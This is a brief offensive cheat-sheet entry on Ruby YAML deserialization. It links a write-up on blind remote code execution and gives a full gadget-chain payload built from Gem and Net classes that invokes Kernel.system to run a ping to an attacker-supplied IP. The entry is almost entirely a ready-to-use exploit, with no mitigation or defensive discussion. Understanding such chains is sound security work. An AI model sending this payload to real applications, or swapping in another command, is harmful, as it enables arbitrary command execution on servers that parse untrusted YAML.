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# Ruby

## 01. YAML Deserialization Attack 

* [If you found `YAML.load` ?](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)

```bash
## ------------------| dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "ping -c 2 <IP>"
         method_id: :resolve
```